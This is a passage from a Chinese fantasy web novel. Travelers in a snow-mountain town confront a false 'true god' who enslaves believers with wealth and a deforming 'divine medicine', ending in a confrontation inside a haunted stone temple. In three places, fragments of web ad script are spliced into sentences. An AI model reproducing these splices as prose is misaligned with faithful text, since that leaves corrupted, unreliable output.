那孩子站在原地没动,言朝心想他肯定还是想要的,便站在一旁等他回应。 他犹豫了片刻,怯怯地开口道:“我能尝尝吗?” 言朝道:“当然可以。”说着便将手里的杏干递给他。 他伸手接过,却仍是遮着脸,转过身去,小口地吃着。他似乎觉得杏干真的很好吃,咬了一小口之后,直接将剩下的一口吃进肚子里了。 他慢慢地转过身,低着头,一双小手绞在一起,有些为难的样子。 还不等他开口,言朝已经拿出一包杏子干伸到他面前,道:“是不是很好吃!喏,这一整包都给你了。” 那孩子起初还有些犹豫,一听说要给他一整包,激动地抬起头,全然忘记不能露脸这件事。 言朝也终于得见他的样貌,金鱼眼、马鞍鼻、竹叶嘴,嘴歪眼斜脸苍白,在斗笠的阴影下一看,实在不怎么好看,甚至还有点吓人,难怪他要戴着这么个大斗笠。 那孩子后知后觉地意识到自己露了脸,霎时惊恐万分,抓着斗笠踉跄着后退,一不小心跌倒在地,斗笠轱辘到门口,他下意识的用双手蒙住头,不停地大喊:“我不是故意的!不是故意的!别看我......别看我......” 但言朝还是看见了。 他小小的身躯顶着一个大如球的头,衬得他更加瘦小,光秃秃的头顶上,几根零星的,软塌塌的黄头发扎成一个小揪。他身上的皮肤更是白得吓人,皮肤下的经络像蛛网一般,密密麻麻,清晰可见。 他就这样,失去了保护自己的盔甲,没有任何遮挡地彻底暴露,无助地等待着审判。 但他等来的却不是冰冷的、刺人的利剑,而是一个柔软的、温暖的怀抱。 莲溪等人进来时,看到的就是这幅场景。 “别怕。别怕。” 言朝跪在地上,轻轻地把他抱在怀里,一下下的,安抚地拍着他的背,温声哼起了童谣。 “荷叶儿,当小床,我来躺着乘风凉。梦里看见鲤鱼跳,梦里闻到荷花香......” 良久,那孩子回抱住言朝,靠在她的怀里哭着哭着就笑了。 站在门口的老妇看见这一幕,感动得落泪,她却捂着嘴,不让自己哭出声来。 只听那孩子转头看向老妇,激动道:“奶奶!奶奶!你看我说的没错吧,这个姐姐真的是好人!” 言朝一听,心道:“嗯?什么意思?我看着很像坏人吗?!” 老妇一听就乐了,道:“是是是。这位姑娘是好人,小山最聪明了。” 言朝道:“原来你叫小山啊。” 这时,莲溪走到言朝身边,将她从地上拉起,小山仍旧抱着不撒手,看见莲溪的时候,把脸埋的更深了。 跪了这一会,腿脚都麻了,言朝抱着小山一屁股坐到凳子上,朝莲溪笑了一下,道:“莲溪,谢谢啊。” 莲溪回以一笑,站在了她身侧。 小山露出一双眼,好奇又害怕地打量着莲溪,莲溪回望向他,淡淡地一笑,看不出什么情绪。 小山一见,又赶紧收回了目光。 遥旭本也想跟小山打个招呼,又怕突然一下吓到他,便也作罢。 莲溪看向老妇,道:“这究竟是怎么回事?” 老妇长叹一声,道:“造孽啊!都是那祸害人的神上门!” 老妇本名迟阿妹,是个嫁到这里的外乡人,靠着和丈夫外出做活积攒的银钱,在胜春镇开了一家驿馆,生活还算宽裕。 很久以前,胜春镇还是一个祥和安宁的小镇,虽然地处偏远,生活也不算富足,但这里的人乐观淳朴,过得也算不错。 那时他们还信仰着上一代春神。 全镇的百姓一起集资,在镇外建了一间极小的春神庙,日日供养。 直到十年前,一个自称“真神”的人来到了胜春镇,在镇中自立一堂,并称自己会为这里的人实现一切愿望。于那时的他们来说,生活富足,平安健康,就是最大的愿望。 起初,并没有人相信。 直到某一天,一个外来的乞丐到他的堂中许愿,让自己能够饱餐一顿,并从此过上富裕的生活。那乞丐当时已经饿得头晕眼花,以为自己就要交代在这了,说的那些也不过是弥留之际的一点不切实际的幻想罢了。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >怎料,那“真神”弹指一挥就变出了一桌好酒好菜,在他饱餐一顿后,还给了他许多金银珠宝,乞丐摇身一变,自此走上人生巅峰。 一夜之间,此事便在胜春镇传开了。 人们纷纷去他的堂中许愿,希望他们也能就此发家,“真神”却提出了一个要求:只要人们信奉他,他就会给予信徒们取之不尽用之不竭的财富。 当即便有许多人就地参拜,奉他为神,他们也如愿得到了财富。 但仍有一些人在观望。 突然有一天,他化作一尊金身弥勒像,称自己要入雪山苦修,度化信徒的苦难,以此来为信徒们创造更多的财富,并助他们有朝一日位列仙班。 胜春百姓感其行,再无疑虑,纷纷奉他为神。 不知不觉中,春神庙便就此没落了。 天庭神官有限,但其下信徒却不计其数。神官庶务繁冗,哪里管得了那么多的信徒的发愿,就算有幸实现了,也未必是尽善尽美。 如今来了这么一个能直接,且一视同仁的新“神”,谁还会再去信奉那些虚无缥缈,还早已退隐,不知是死是活,还没什么用处的旧神。 情怀这种东西,可不能当饭吃。 当然,即便所有人都随波逐流,也总会有几个另类穿插其中。 迟婆婆便是其中之一。 她始终认为没有什么东西是可以不劳而获的,这样轻易就得到的钱财迟早要生变故。 她几度劝诫儿子儿媳不可过度沉溺,可他们早已成为了“真神”的忠实信徒,说什么都没用。 果不其然,人们虽然过上了好日子,但曾经的乐观淳朴却消失了,变得愈发贪婪,对“真神”的一切更加深信不疑。 人们甚至开始服用所谓的神药,表面上看着没什么不同,直到八年前,小山的出生,一切都变了。 小山一出生就是五官畸形的病儿,小山的娘亲更是难产而死,信众们说这是因为他们对“真神”不敬的惩罚,可迟婆婆心里却很清楚,这是因为儿子儿媳服用了所谓神药,才导致小山变成了这副样子。 一个真正的神,怎么会以这样的方式来对待他的信徒呢? 小山出生后不久,迟婆婆的儿子为了赎罪自焚而死,他们家也在朝夕之间,一落千丈,变成了胜春镇的外人。 迟婆婆心中哀痛难当,本想带小山离开这里,但却几度遭信众阻拦而失败。曾有人提议想将他们祖孙二人处死,但“真神”却道:“他们只是一时的误入歧途,早晚有一天会迷途知返。” 信众感念“真神”宽仁,没有将其处死,但也没让他们离开胜春镇。 祖孙二人就这样相依为命的生活到了现在。 如此一番听下来,之前在春神庙见到的那个变异人,应当就是服用了神药。既然服用此药会导致人体发生变异,依迟婆婆所言,服药者不在少数,难道那些罩袍之下的人都已经变异了吗? 遥旭憋了一肚子的气,忍了好半天,终于还是没忍住,拍案而起,道:“靠!什么狗屁真神,简直就是一坨坑蒙拐骗的狗屎!不,连屎都不如!!!” 莲溪道:“我本来还以为是靠药物和语言来迷惑人的邪教,那样的话,该由这个国家的君主来管。” “但他竟能变出源源不断的金银财宝,如果他不是妖魔鬼怪,那他的背后也一定有一个鬼东西在维持。这样可就有趣多了。” 迟婆婆闻言一惊,道:“你是说,这‘真神’是妖怪吗?” 莲溪冷笑一声,不置可否。 迟婆婆有些担忧,道:“如果真的是妖怪,那你们岂不是很危险?我看你们还是趁夜离开这里吧。” 言朝抱着小山,一直没说话,想想也是,若真的只是人建立的邪教,以她身边这两位的身份,无论是神是鬼,冒然插手人间的事情,于理不合。 但既然是天稷榜所言之地,事情也定然不会这么简单。 言朝道:“怕什么,来都来了,不去见见岂不是让人家觉得我们外乡人不识礼数。我想,那位‘真神’肯定也很想见我们。” 遥旭双臂交叠,道:“明日咱们就去会会‘真神’。” 20. 人欲成神万法混3 次日,清晨。 小山抓着言朝的衣襟,在她的怀里睡得正香,小山很喜欢言朝,昨晚闹了半天,最终如愿留了下来。 小山缠着言朝给他唱童谣,言朝就一边拍哄,一边唱童谣。 那一夜,夜风邀月亮共赏,月光将歌谣与笑声收藏,一大一小两个人儿,久违的睡了一个好觉。 言朝轻轻地侧过身,看着怀中小小的人儿,要是能正常出生,他一定会是个漂亮又可爱的孩子。一想到他这副小身板,拎着那满满的一桶水,一定吃了不少苦头。 不知怎的,脑海中忽然闪过一个画面,她好像很久以前捡过一个孩子,那孩子的样子似乎也不怎么好看。 他的样子已经很模糊了,此刻想到,不觉笑出了声,后来怎么着了,想不起了。 言朝想得入神,连小山醒了都没发现。 小山抬头望着言朝,不知道她想到了什么好事,不忍打扰,禁不住被她感染,小手捂着嘴,小声地笑。 言朝回过神,道:“小山是做了什么美梦吗?大清早就笑得这么开心。” 小山道:“我是见姐姐你笑了,才忍不住和你一起笑的。那你是想到了什么好事情吗?” 言朝摸摸小山的脑袋瓜,道:“是啊,想到了一件和小山有关的事。但现在还不能告诉你,等事情都结束了,你就知道了。” 小山担心道:“可是,可是那些人都很可怕的。奶奶从不让我出门,我也知道自己长得难看......但外面真的很危险的,我不想姐姐有事。” 言朝心疼地看着小山,道:“小山不用担心,姐姐和那两位哥哥都是很厉害的。小山是个好孩子,姐姐承诺你,一定会让你光明正大的从这里走出去。” 小山目光灼灼,道:“小山相信你!” 言朝下床打开窗子,远处雾霭朦胧的雪山映入眼帘,望之心静;近处石板路两旁的房屋披上了一层朝晕,恬静安然。 昨日被那帮乌烟瘴气的人一搞,竟没发现,这个坐落在雪山下的小镇,原也是个美丽的地方。 言朝与小山下楼时,莲溪和遥旭已经坐在桌前,迟婆婆也准备好了早饭,米汤配酱菜。 遥旭招呼迟婆婆一起吃,迟婆婆笑了笑,道:“你们吃吧,我已经吃过了。” 一想到他们要去雪山,迟婆婆还是放心不下,道:“你们真的要去雪山吗?” 言朝道:“当然。” 迟婆婆绞着手,道:“万一那个妖怪很厉害,你们要怎么对付他?” 言朝笑了一声,很随意地道:“大不了就干一架,看看我们谁更厉害。” 迟婆婆愕然,道:“那要是打不过呢?” 莲溪突然开口:“打不过就跑呗。” “......” 遥旭:“哈哈哈哈哈哈哈哈哈!想不到你也会说出这种话!” 言朝道:“跟您开玩笑的,不用担心,我们会小心的。” 三人简单用过早饭后,便一同上街探访。 本以为会见到满大街的“妖魔鬼怪”,没想到却是满大街的正常人。 大街上店铺林立,人们却都在自家门前铺上一张土布,将所卖之物就地一摆,他们则在房檐下席地而坐,有的在矮凳上小憩,有的在挥扇品茶,有的在做刺绣,有的在簪花。 岁月静好,闲适安宁。 和昨晚的景象相比,简直就是两个世界。 言朝有一瞬的恍惚,以为这里是另一个被封印的桃源夜兹。 遥旭大失所望:“什么嘛,这满大街的人都有鼻子有眼的,谁也没变异啊!这不都正常吗!” 今日街上的所有人,没有清一色的罩袍,今日街上的所有物,没有清一色的神上门。 若不是亲眼所见,真以为昨晚迷路到了鬼界呢。 但好像也没那么正常。 言朝道:“看来这‘真神’确实挺有钱。你看这里的人,个个穿金戴银,不知道的还以为这的人都是皇室贵族呢。” 莲溪负手而行,笑笑没说话。 遥旭这一看,可不就是吗,如此招摇的东西,就这么堂而皇之地戴出来,尊贵如天帝也没他们这么夸张,财神的活都让让那位“真神”给代劳了。 也就是在这里,他们随便一个出了这里,早就被洗劫一空了。 真不知是该说他们幸运,还是愚蠢。 比起昨晚看不见脸的罩袍,今天这副华丽四射的装扮看着也没好到哪去。 “朴素”到极致,“奢华”到极致,没一样是正常的。 莲溪道:“看他们一个个眼神迷离,真是富贵迷人眼啊。” 言朝看到一家卖蔬菜水果的摊子,眼前一亮,看着眼前整齐摆放的新鲜蔬果,道:“咱们买些新鲜的肉菜瓜果带回去吧,小山他们也需要吃点好的。” 莲溪拿起一把还挂着露水的山野菜,道:“适约在时,这里还是个重镇,适约不在,繁荣不再。如今山高皇帝远,倒是自成一‘国’了。” 遥旭道:“我以为此地的人为了修仙,已经不食五谷,没想到还这么接地气啊。” 莲溪拍了一下他的头,道:“别废话了,快点来挑。” 遥旭“嘶”一声,捂着头,道:“干嘛打我?!要是打傻了怎么办!” 莲溪道:“你本来就傻。” 遥旭:“......” 言朝:“哈哈哈哈哈。” 遥旭不理二人,埋头挑菜,看到地上摆着一堆各式各样的蘑菇,眉毛上挑,心中正攒摩着一个想法,却听莲溪说了一句话。 “有毒的都让他先吃,他要是没事,咱们再吃。” 遥旭回头,道:“莲溪你什么意思!” 莲溪歪了歪头,道:“难道你不是想用有毒的蘑菇害我们?” 遥旭泄气:“没劲,干嘛那么早识破......” 言朝看他们俩这一来一回,笑道:“咱们还是快点买吧,出来一趟,不妨就多买点。等咱们出去办事,他们也能吃的好点。” 遥旭点头,心里一琢磨,挑了几样菜,要给摊主结钱,那摊主却靠在门板上,双眼微闭,懒洋洋地道:“几把菜而已,不要钱了。” 这么慷慨? 遥旭把钱放在土布上,拍拍手,道:“怎么着,有了金银财宝,看不上这几个小钱了是吧!” 摊主略一抬眼,笑了一声,道:“我这是在为来日成神广施善德,你个黄口小儿懂什么。” “你!”遥旭翻了一个白眼,正要发作,被莲溪拦了下来。 莲溪哈哈笑了两声,道:“既然你这么善良,想必其他人也都和你一样吧。” 摊主睨了他一眼,道:“自然。” 莲溪拍手叫好:“既然如此,咱们不拿白不拿,别浪费了人家的一番善心。” 言朝附和道:“是啊,咱们可不能挡了人家的成神路。” 摊主翘起了二郎腿,得意地笑了笑,道:“还是你们更明事理。” 遥旭“嘁”了一声,所幸把他这摊的菜都收了,收完还朝摊主“礼貌”一笑,道:“不用谢。”说完就大摇大摆地走了。 离开时,莲溪望了摊主一眼,笑道:“那么,祝你好运。” 摊主不明所以,未料那笑不达心,还巴巴地道了声谢。 遥旭像是被激发了什么开关,每个摊位都转一圈,不管什么东西,都得拿点,只多不少。 在夜兹时,面对夜兹百姓的慷慨赠予,他还拿人手软,心里怪不好意思的。方才经那摊主一通说,他现下全无顾忌,不仅拿的心安理得,还要挑最好的,最贵的拿。 遥旭来到一个卖鱼的摊子前,一眼就相中了一条单独装在篮子里大鱼,他指着大鱼,昂首大声道:“把这条最大的鱼给我装上!”装好后,仍是“礼貌”地道一声“不用谢”。 言朝和莲溪两个人跟在后面,这回既没有大帮的人将他们围住,他们也很赞成遥旭的做法。 助人为乐,多多益善。 遥旭道:“我突然改主意了。” 后面的两人对视一眼,道:“什么主意?” 遥旭道:“那个‘真神’多大的架子,还得咱们主动去找他。就不去!就等他亲自来找我们!” 言朝闻言,眨眨眼,有些期待,道:“我看此地风景不错,不如咱们在这玩一圈吧!我想看日照金山和雪山夜空!再尝尝这有什么好吃的!” 莲溪笑道:“这主意不错,看来你偶尔也挺聪明的。” 话音刚落,原本晴空万里,顷刻间乌云密布,一声闷雷滚动,天要下雨了。 遥旭望了望天,道:“看吧!老天爷都支持我的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 主意。” 言朝道:“快走吧,不然一会儿雨下起来,要淋成落汤鸡了。” 遥旭心情大好,道:“小爷我今天心情好。走!回去给你们做好吃的!” 三人前脚刚进迟家店,后脚大雨倾盆。 遥旭道:“你看我说什么来着,老天爷都认同我。” 迟婆婆见三人回来,悬着的心也落了地,又看他们带回来这么多东西,连忙上去接过,道:“你们这么快就回来了?没事吧?” 言朝道:“我们压根没去。这天不是下雨了嘛,我们就等着那位‘真神’来请我们。” 迟婆婆不解,道:“这......” 遥旭摆摆手,道:“您就别担心了,与其想那些有的没的,不如想想今天吃什么。”他举起手中的大鱼,又道,“我看他们虽然摆着各种吃食,但以他们那个痴迷的程度,肯定是觉得仙药最好。” “这么多东西,反正也不要钱,不要白不要。” 迟婆婆闻言,苦笑了一声,提着东西就去厨房了。 遥旭跟在后面,神秘兮兮地道:“今日我给你们做顿大餐!” 迟婆婆把各种食材在厨房里归置好,小心翼翼地道:“要不还是我来做吧。你们花钱住我的店,还要你们亲自做吃的,这实在不好。”见他没说话,又解释道,“其实我厨艺还可以的。” 遥旭笑了一声,道:“那下次换您来做,这回就让我表现表现呗。” 迟婆婆还是觉得不妥,道:“那老婆子我给你打下手吧。” 遥旭推着她往外走,道:“等着吃就行了啊!千万别进来影响我发挥啊!” 把迟婆婆送出厨房,顺便叫了言朝,道:“桃花,来给我打下手。你不是想学菜吗?” 言朝正陪小山说话,闻言,道:“好!这就来啦!” 莲溪道:“我跟你一起去。” 言朝:“好。” 遥旭一见莲溪也来了,叉着腰,道:“你来作甚?怕我下毒啊!” 莲溪斜了他一眼,不愿与他废话,道:“打下手。” 遥旭不相信地看了他一眼,又看看一旁的言朝,别有深意地笑了一声,道:“桃花,我可真是借了你的光啊!” 言朝不解,道:“此话何意?” 遥旭道:“咱们莲兄的手艺可是轻易不示人,我做饭还是他教的呢。”一想到自己经常慷慨大方地展示厨艺,顿感自己真是一个大好人,忍不住自夸道,“我可真是人美心善,比起他深藏不露,我可真是太好了!” 言朝惊喜地看向莲溪,道:“莲溪,原来你还会做饭啊!真厉害啊!” 莲溪微微一笑,道:“还可以。” 遥旭见两人完全没听他刚说的话,不满地道:“喂!你们什么意思啊!难道我不厉害吗?!!!” 言朝转头道:“你也很厉害的。不过,咱们还是快点儿做饭吧,填饱自己的同时,也不能让婆婆他们饿肚子啊。” 遥旭道:“对对对!让我来为你隆重的介绍一下,今天这些菜,是极具地域特色的。” “喷汤饭、油菜花炒蛋、油焖鸡、乌升肉、百合蒸肉、香辣鱼、菌菇汤,还有巧山喜饼。” 言朝道:“听起来很丰盛啊。不过,这油菜花是春天才有的,你拿什么做?” 遥旭挑眉,抬手打了一个响指,两个包裹就出现在桌案上。 这是他为此次出行特意准备的。 足下所行之处,品尽地道美食。 自从上次露了法力,又被一同选中后,遥旭便不再刻意隐藏,但仅限于他们三人之间。若有外人,非必要的情况下,是不会暴露的。 其中一个包裹里装着一包新鲜的油菜花、一包腌制好的油菜花、一罐油菜花蜜,另一个包裹里装着瓶瓶罐罐的各式调料。 遥旭道:“你听我说就好,切菜洗菜的活让莲溪做。” 话音未落,莲溪已经按照他刚说的菜单开始备菜,条理清晰,有条不紊,仿佛这些早已烂熟于心。 遥旭拍了下莲溪的肩头,低声道:“看你难得这么任劳任怨,不如换你来教?” 莲溪手上的动作不停,瞥了一眼不远处的言朝,道:“今天你是做菜的人。再说一开始就是教的,自然该也该以你为主。至于我,”莲溪弯了弯唇,又道,“来日方长。” 21. 人欲成神万法混4 言朝准备就绪,道:“咱们先做哪个菜?” 遥旭道:“乌升肉!” 遥旭将上好的五花肉切块,放入水中短时汆烫,将肉块均匀蘸满以油菜花蜜、白酒、红醋,调成的酱汁,再将肉块放入热油中炸至金黄,裹上少许面粉,加入葱姜,上锅蒸熟。 遥旭道:“这道菜有蜂蜜的香甜,瘦而不柴,肥而不腻,入口即化,老少皆宜。” 言朝将做法步骤一一记录,道:“很适合小山和迟婆婆。” 遥旭道:“不止这道菜,百合蒸肉,清淡解腻,也是极合适的。” 言朝夸赞道:“你想的很周到嘛!下一道呢?” 遥旭笑道:“香辣鱼。” 将收拾好的鱼,放在烧开的热水中滚上三四瞬,去除附着在上面的黏液,将鱼片成鱼片,加入蛋清腌制,锅中加水先下芹菜段,再下鱼头,再依次加入老坛酸菜、姜、花椒、胡椒、辣子面;撒上芫荽、蒜末、干辣椒,泼上一圈热油。 听着“滋啦啦”的油响,扑鼻而来的香味,言朝由衷地道:“原本被那什么榜选中,我心中是不情愿的。但现在一路上吃吃玩玩,结识了你们,见识了风光,也不错。” 莲溪看向她,道:“那你就不好奇我们是谁?” 言朝笑了一声,一副满不在乎的样子,道:“出门在外,谁还没有几个身份不是?不管我们是谁,至少不会影响此刻的相处。身份嘛,到了该知道的时候,自然就会知道啦!” 遥旭道:“好啊!那就看看咱们三个谁先自曝!” 言朝道:“下一道菜做什么?” 遥旭十分郑重地捧着那包腌制好的油菜花,道:“这道菜我得为你着重介绍一下,它看似普通,实则暗含玄机。” 言朝赶紧翻页记录,“这道菜叫什么名字?” 遥旭:“撒汤饭。” 这种油菜花是这个地区特有的,摘取时,果荚尚未长出,最是鲜嫩。将油菜花洗净切碎,与蒸熟的玉米面充分搅拌在一起,不放任何调料,密封发酵。发酵后,油菜颜色变深,风干后,酸菜方成。 干酸菜加干辣椒段,用猪油爆香,加水煮开后,放入切片的土芋,加少许盐调味,最后撒上葱花,汤汁浓郁爽口,开胃下饭。 忙活了将近一个时辰,饭菜终于上桌。 迟婆婆和小山看着这一桌子菜,愣在原地,傻了眼。 就算是他们家最好的时候,也没有吃过这么丰盛的饭菜。 小山更是见都没见过。 言朝见他们还站在原地不动,笑道:“你们都饿坏了吧!快上桌啊!” 闻言,迟婆婆这才带着小山上桌。 迟婆婆一眼就看到了那两道用油菜花做的菜,惊喜道:“竟是油菜花!没想到这么多年还能吃到......” 遥旭道:“快尝尝味道正不正宗?” 迟婆婆拿起筷子夹了一口,记忆中的味道被唤醒,吃着吃着,热泪不觉已湿了裳。 言朝心道:“此地明明盛产油菜花,这镇上的人也不算太多,怎么连油菜花都吃不上?” 言朝见小山看得直流口水,道:“小山怎么不吃啊?” 小山微垂着头,讷讷地道:“可以吗?” 莲溪朝遥旭使了个眼色,遥旭会意,道:“大家都这么熟了,就别客套了。一起动筷吧!” 见众人纷纷拿起筷子,小山这才提筷,第一个便瞄准了摆在正中央的香辣鱼,正要下筷,却被遥旭拦下,道:“这个菜有点辣,你只能吃一点点哦。” 小山有点沮丧道:“可是它闻着好香,真的只能吃一点点吗?” 遥旭道:“等你长大了,你就可以吃辣的了。现在只能一点点。” 小山道:“好吧,那我放在最后吃。”说罢,就夹了一块乌升肉,嚼了两口,突然“哇”的一声吐了出来。 迟婆婆吓了一跳,以为他卡住了,连忙抱着小山,给他拍背。 遥旭大惊:“这是怎么啦!我也没下毒啊!”说罢还自己尝了一口,又道,“这也没问题啊。” 迟婆婆一听下毒,大惊失色,言朝连忙安抚:“他开玩笑的,别紧张。” 言朝俯身查看小山的情况,良久,叹息一声,道:“他没事,只是突然吃这些,身体不适应了。” 此话一出,众人默然。 迟婆婆抱紧小山,面容悲戚,道:“是我对不住我的孙儿,才害得他吃了这么多苦啊!” 原来,那些人不仅不让他们婆孙俩离开此地,还因她不愿信奉“真神”而失去了一切资源。 所谓迷途知返,就是要信奉“真神”,只要你成为他的信徒,就会获得所有好资源。 吃穿用度皆是上品。 少数坚持不信的人,要么在漫长的等待中中途倒戈,要么在漫长的煎熬中被活活耗死。 这就是违逆“真神”的代价。 而今唯一的存活的,只剩下他们俩了。 曾有人劝他们,不如就趁早信了“真神”,也免遭这许多蹉跎苦。 后来人笑他们,有乐不享,偏要受罪,愚不可及,可笑可悲。 他们将“另类”贯彻始终。 遥旭愤起拍桌,道:“什么狗屁‘真神’!简直是卑鄙无耻的小人!连小人都不如!” 言朝道:“我还是第一次见这么奇葩的神,别人不信奉他,就连油菜花都不给吃。真是抠门又小气。” 莲溪一手支着下巴,漫不经心地道:“他倒是使了好一招杀鸡儆猴,并非你们顽强,而是他有意为之。” 此话一出,不禁背后发凉。自以为的艰难求存,却都是被设计好的。 他若要你活,你是想死也死不了。 迟婆婆声泪俱下:“苍天啊!为何要这样对我们啊!” 小山见不得奶奶难过,一边给她擦眼泪,一边看向言朝道:“姐姐,你能不能让那些坏人消失?小山不想让奶奶难过,小山害怕。” 言朝看了眼一旁的二人,心疼地摸摸他的头,道:“小山放心,坏人是不会得逞的。” 遥旭道:“没错!但消灭坏人的前提是要填饱肚子,吃饱了才有力气和他们斗啊!” 小山端起碗筷,斗志昂扬地道:“我要多吃点!把那些坏人都赶跑!” ...... 午后,言朝站在二楼的窗前远望,街上空无一人,雨还在下。 莲溪来到她身边,道:“在想什么?” 言朝没有转头,道:“我恍然想起,如今的月份正是雨季,是很难看到日照金山的。” “雪山是圣洁的,我更愿意等乌云散去,再见金山。不管多久,想见总会见到的。” 莲溪望着她,笑道:“是啊,想见总会见到的。” 忽然,外面传来一阵“砰砰”的敲击声,二人往外一望,便见一帮穿着罩袍的人,头前架着一面蜡黄大鼓,一步一敲,后面的人随之起舞。长袍一挥,鬼魅横行。口中念念有词,像是某种咒语。 他们正朝着迟家店来。 此时,日刚西沉。 言朝道:“他们怕不是吃了神药留下了后遗症,一到晚上就发癫。” 莲溪道:“走吧,去看看他们想干什么。” 二人下楼时,遥旭已经站在门前,只听他道:“呦,这不是‘真神’的狗腿子们嘛!这大雨天的,有何贵干啊?” 为首的罩袍人指着他身后的言朝,道:“我们 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是来找她的。” 众人看向言朝,言朝走上前,道:“找我何事?” 罩袍人向言朝行了一礼,道:“真神让我们来请慧女到神殿一叙。” 言朝道:“哦,我不去。” “......” 罩袍人音色不悦:“慧女这是何意?” 言朝道:“天黑下雨,我不出门。若是诚心相邀,就白日光明正大的来,你们这副打扮,不知道的还以为是送我上路呢。” 他们像是早知她的意图。 闻言,从他身后走出几人,摆出了一顶折叠的步辇,上面撑着一把挂满了晶石吊坠的黑伞。晶石在黑夜中闪着诡异的绿光。 罩袍人道:“我们已为慧女准备好,您只需随我们走便是。” 言朝道:“我说了天黑不出门,要请白天来。”说罢便要将门关上。 罩袍人见言朝不肯走,一把抓住门,高声道:“慧女莫要为难我等,我等只是奉命行事。蒙真神召见是你的荣幸,休要不识好歹。” “若慧女执意不走,今日就休怪我等烧了这迟家店!” “我看你们谁敢!” 迟婆婆突然站出来,拦在言朝身前,道:“我的店你们动不得!我的客人你们也别想动!今日你们但行其一,便从我老婆子的尸体上踏过去吧!” 小山也冲出来,挡在言朝身前,道:“我不会让你们把姐姐带走的!” 莲溪与遥旭站在一旁,早已蓄势待发,只要对方一出手,他们就会立刻把他们撂倒。 可她也不是吃素的。 言朝道:“好,我跟你们走。” “姑娘!” “姐姐!” “桃花!” 莲溪微微蹙眉,想要说什么,最终还是没说。 莲溪冷眼看向罩袍人,许是夜雨冷寒,他们隔着罩袍,与他视线相交,身体不由地瑟缩起来。幸有罩袍遮挡,不至露出丑态。 莲溪摘下腕上的手串,将它戴在言朝的手上,道:“你尽管去,若遇危险,我即刻便到。” 言朝莞尔,道:“感谢队友的信任!” “走吧。”言朝转身,从包中掏出了一把折叠伞,“本姑娘不喜欢你们的伞,晦气。至于步辇,凑活坐吧。” 罩袍人为言朝让出一条路,待她坐好,一行人便离开了。 迟婆婆看着渐渐远去的身影,不放心道:“难道就让他们这么走了?” 遥旭与莲溪对视一眼,道:“当然不会,好戏才刚开始呢。” ...... 言朝跟他们出了城,朝雪山行进。 不知为何,从坐上这里开始,她的耳边就一直响起一个声音。 起初,那声音很微弱,似是从很远的地方传来,但随着离雪山越来越近,那道声音也愈加清晰。 “救救我......” “谁来救救我......” 那道声音幽远绝望,再听更像是从地底发出的声音。 言朝道:“你们的神殿中只有一位真神吗?” 罩袍人道:“真神是独一无二的,神殿中又怎么可能还有他人。” 那这道声音是谁? 这到底是迷惑人的障眼法?还是那殿中另有其人? 言朝心里正琢磨,不知走了多久,忽听罩袍人说了声:“我们到了。” 言朝收伞,眼前是一座在石壁上开凿的高大宫殿,夜雨中冒着阵阵瘆人的寒光,石门前高挂着一面黑底白纹的旗帜,与胜春镇外挂着的一致。向上望去,有七层,每一层的檐下,都雕刻着一个突出的,容态各异的人面,左右被锁链束缚。 看上去,像是在封印什么东西。 22. 入地佛噬魂成金 罩袍人抬手指向石门,道:“真神就在里面,慧女请进吧。” 言朝道:“你们不进去?” 罩袍人道:“真神吩咐,只准您一个人进去。” 言朝心道:“只让我一个人进去?指定没憋好屁!本姑娘倒要看看你的肚子到底有多大。” 罩袍人纷纷退下,她走到门前,“轰隆”一声,石门缓缓打开,一尊身长八丈,半身低眉金佛像赫然立于眼前。 殿中灯火明明灭灭,但有一束光始终照在佛像上,映得那金身光芒四溢,更显佛像威严。 大佛面容慈悲庄严,低头肃穆,背靠雪山,像是在对众生忏悔,以己身换众生安乐。 单看着却易心生敬畏。 信众若立于大佛身前,必定顶礼膜拜,虔心供奉。 可惜这并不是真正的佛。 这倒是符合真神入雪山苦修的说法,但这弥勒怎么又变成佛了? 最奇怪的是,既为佛身,又为何以真神自称? 妖鬼虽有无数分身,但这么相近的分身变装还是头一回见到。 言朝忽觉周身泛起一阵冷意,好像有什么东西正注视着自己。 言朝环顾四周,这殿中的烛火似有灵性一般,随着她的视线照亮,不看不要紧,这一看着实心颤。 整座殿的石壁上嵌着密密麻麻的石化人面,他们神态各异,眼神空洞,沉默不语,男女老少皆具,目光皆落在她一人身上,望向他们时,他们又挣扎着,争先恐后的,想要穿墙破壁而出,面目狰狞,妄图将她吞噬。 忽然,整片石壁上的人面开始躁动起来,一齐发出阵阵低鸣,互相拥挤着上下蠕动,发出如骨头断裂的脆响和石器摩擦相击的声音,他们的声音从低鸣变成尖叫且十分混杂,有的疯狂大笑,有的嚎啕大哭,有的惊恐咆哮,而有的好像在亲切交谈...... 这声音听得人心烦,言朝捂着双耳,眉头大皱,心道:“这到底是什么破地方!!!真是吵死了!!!” 她忍无可忍地大喊一声:“不管你是什么妖魔鬼怪,给姑奶奶速速现身!否则,我拆了你的像!掀了你的殿!” 话音刚落,墙上的人面突然停止了躁动,周围忽然安静了下来。 空气中传来另一道阴森诡谲的声音。 “慧女远道而来,不喜欢我为你准备的欢迎仪式吗?” 言朝无语,如果这也能叫欢迎,那她真应该喊那位妙音郎君来听听,看他们俩谁更胜一筹。 言朝道:“既然邀我来了,却连真身都不敢露。你敢给胜春百姓不义之财,却羞于露出真面目,怕不是丑得连鬼都不如,没脸见人了吧。你做鬼的时候,没好好整理一下自己的外貌吗?” “哈哈哈哈哈哈哈哈哈哈哈哈哈哈!慧女说话可真幽默!” “我不就在你面前吗。” 轰的一声,那半身大佛的身躯微微动弹,原本肃穆的神情突然变得凶悍,双目亮起一道诡异的紫光,唇边扬起邪魅的笑,幽冷地望着站在他面前的,在他眼中如蚂蚁一般渺小的女子。 言朝抱臂直视他,没有丝毫畏惧。 言朝不屑道:“怎么,寄身在佛像里,就真把自己当佛了?你不是自称真神,居然化身为佛,搞得这么不伦不类的。” 大佛笑了一声,道:“神佛在我脚下,没有人能阻我!” 他的一只手臂从地底下伸出来,伸向一侧的石壁,抓起一把还在蠕动的人面,那些人面在他的掌中就像一滩丑陋的虫子,人面看到时,还发出谄媚的笑声。他轻轻合掌,“噗呲”一声,那些人面瞬间化为齑粉,再发不出声音。 那声音如同绝望的鼓点在耳边炸裂,听得人毛骨悚然。 言朝感到奇怪,道:“那些人面到底是什么东西?” 